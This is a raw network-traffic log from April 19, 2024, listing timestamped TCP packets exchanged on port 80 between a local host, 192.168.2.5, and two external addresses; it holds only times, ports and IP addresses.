Apr 19, 2024 03:29:05.806946993 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806962013 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806982994 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806998968 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807010889 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807038069 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807054996 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807076931 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807096958 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807113886 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807128906 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807152033 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807169914 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807190895 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807210922 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807233095 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807251930 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807271004 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807287931 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807308912 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807333946 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807348013 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807358980 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807387114 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807400942 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807435989 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807446957 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807475090 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807492018 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807513952 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807533026 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807552099 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807569981 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807589054 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807607889 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807630062 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807646990 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807668924 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807689905 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807706118 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807723045 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807745934 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807760000 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807784081 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807801962 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807821989 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807838917 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807858944 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807878017 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807895899 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807914972 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807934999 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807966948 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.807971954 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.807985067 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808011055 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808028936 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808048964 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808064938 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808085918 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808115959 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808140993 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808141947 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808178902 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808195114 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808218002 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808234930 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808254957 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808273077 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808294058 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808310986 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808391094 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808407068 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808429003 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808448076 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808465958 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808480024 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808504105 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808521032 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808541059 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808559895 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808579922 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808598995 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808618069 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808641911 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808655977 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808665991 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808692932 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808732986 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808748007 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808773994 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808777094 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808784962 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808814049 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808837891 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808851957 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808866024 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808892012 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808908939 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808931112 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808957100 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.808969021 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.808979988 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.809005976 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.809036016 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.809042931 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.809055090 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.809082031 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.809099913 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.809109926 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.809117079 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.809137106 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.809144020 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.809192896 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.035135031 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.035192013 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.035207987 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.035233021 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.035243034 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.035270929 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.035307884 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.035324097 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.035346985 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.035356045 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.035384893 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.035398006 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.035422087 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.035433054 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.035459995 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.035468102 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.035501957 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.035505056 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.035550117 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.041932106 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042025089 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042043924 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042063951 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042076111 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042100906 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042108059 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042139053 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042145014 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042181015 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042188883 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042220116 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042227983 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042258978 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042264938 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042296886 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042305946 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042336941 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042349100 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042375088 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042392969 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042412043 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042421103 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042450905 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042460918 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042490005 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042496920 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042526960 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042538881 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042566061 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042577028 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042603970 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042615891 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042642117 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042653084 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042680025 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042692900 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042718887 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042727947 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042758942 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042768002 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042798042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042803049 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042836905 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042851925 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042875051 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042884111 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042912960 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042918921 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042953014 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042959929 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.042989969 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.042998075 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.043028116 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.043040991 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.043066978 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.043087006 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.043104887 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.043118000 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.043143034 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.043149948 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.043183088 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.043193102 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.043222904 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.043231010 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.043262005 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.043272972 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.043306112 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.046140909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.046197891 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047148943 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047188044 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047202110 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047226906 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047236919 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047266960 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047276974 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047305107 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047312021 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047343016 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047352076 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047382116 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047394037 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047420979 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047427893 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047460079 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047468901 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047498941 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047511101 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047538042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.047543049 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.047586918 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.054702997 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.054830074 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.054850101 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.054872990 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.054883003 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.054912090 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.054932117 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.054950953 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.054963112 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.054989100 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.054996014 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055026054 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055043936 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055063009 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055085897 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055099964 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055113077 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055136919 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055145979 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055176020 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055186987 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055213928 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055222034 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055253029 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055258989 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055290937 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055304050 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055327892 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055365086 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055377960 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055402040 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055438042 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055469990 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055474997 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055515051 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055552006 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055576086 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055589914 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055600882 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055628061 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055639029 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055665016 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055675983 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055706978 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055713892 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055744886 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055754900 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055782080 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055794954 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055819035 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055830002 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055855989 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055876017 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055891991 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055902958 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055931091 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055939913 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.055968046 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.055983067 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056005955 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056009054 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056042910 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056051016 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056081057 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056092024 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056128979 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056154013 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056191921 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056204081 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056229115 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056240082 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056266069 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056277990 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056303024 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056314945 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056339025 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056350946 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056375980 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056385994 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056412935 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056422949 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056449890 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056461096 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056487083 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056499004 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056524038 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056533098 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056561947 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056571007 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056600094 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056607962 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056637049 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056644917 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056675911 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056687117 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056711912 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056726933 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056768894 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056783915 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056807041 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056817055 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056843996 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056853056 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056881905 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056895018 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056920052 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.056930065 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.056961060 CEST	80	49714	193.233.132.56	192.168.2.5
